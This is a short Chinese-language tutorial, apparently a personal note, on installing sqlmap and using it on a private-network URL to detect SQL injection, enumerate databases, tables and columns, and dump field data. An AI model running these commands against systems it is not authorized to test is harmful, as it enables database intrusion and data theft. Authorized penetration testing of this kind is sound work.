安裝:
yum install -y git
cd /usr/local && git clone https://github.com/sqlmapproject/sqlmap.git
cd /usr/local/sqlmap
--檢查是否可以注入
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch
如果可以注入,結果是類似這個樣子

--獲取數據庫中有哪些庫
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch --dbs
--獲取當前URL用的是哪個庫
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch --current-db
--獲取庫中有哪些表
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db --tables
--獲取表中有哪些字段
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db -T test_table --columns
--獲取表中字段的數據
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db -T test_table -C 'id,name' --dump
注意:在測過一次后,再次測試時需要將上次測試的記錄刪掉。路徑為:/root/.sqlmap/output
